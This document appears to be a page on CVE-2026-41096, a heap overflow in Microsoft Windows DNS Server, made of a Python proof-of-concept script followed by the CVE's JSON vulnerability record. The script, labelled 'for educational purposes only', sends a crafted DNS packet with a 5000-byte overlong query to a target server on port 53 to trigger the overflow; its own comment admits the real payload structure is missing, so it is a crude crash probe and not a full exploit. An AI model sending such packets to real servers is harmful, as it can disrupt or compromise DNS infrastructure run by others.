CVE-2026-41096

import socket import struct # CVE-2026-41096 PoC Concept # Target: Microsoft Windows DNS Server # Description: Send a crafted DNS packet to trigger heap overflow. # Note: This is for educational purposes only. target_ip = "192.168.1.100" target_port = 53 # Construct a DNS header (Transaction ID: 0x1337) dns_header = struct.pack("!HHHHHH", 0x1337, 0x0100, 1, 0, 0, 0) # Construct a malicious query (Overlong buffer) # In a real scenario, specific payload structure is needed to hit the vulnerable code path exploit_payload = b"A" * 5000 # Buffer overflow trigger size query_body = struct.pack("!H", len(exploit_payload)) + exploit_payload + struct.pack("!H", 1) + struct.pack("!H", 1) payload = dns_header + query_body try: print(f"[*] Sending exploit packet to {target_ip}...") s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(payload, (target_ip, target_port)) print("[+] Packet sent. Check target status.") s.close() except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-41096", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:21.167", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Microsoft Windows DNS allows an unauthorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096", "source": "[email protected]"}]}}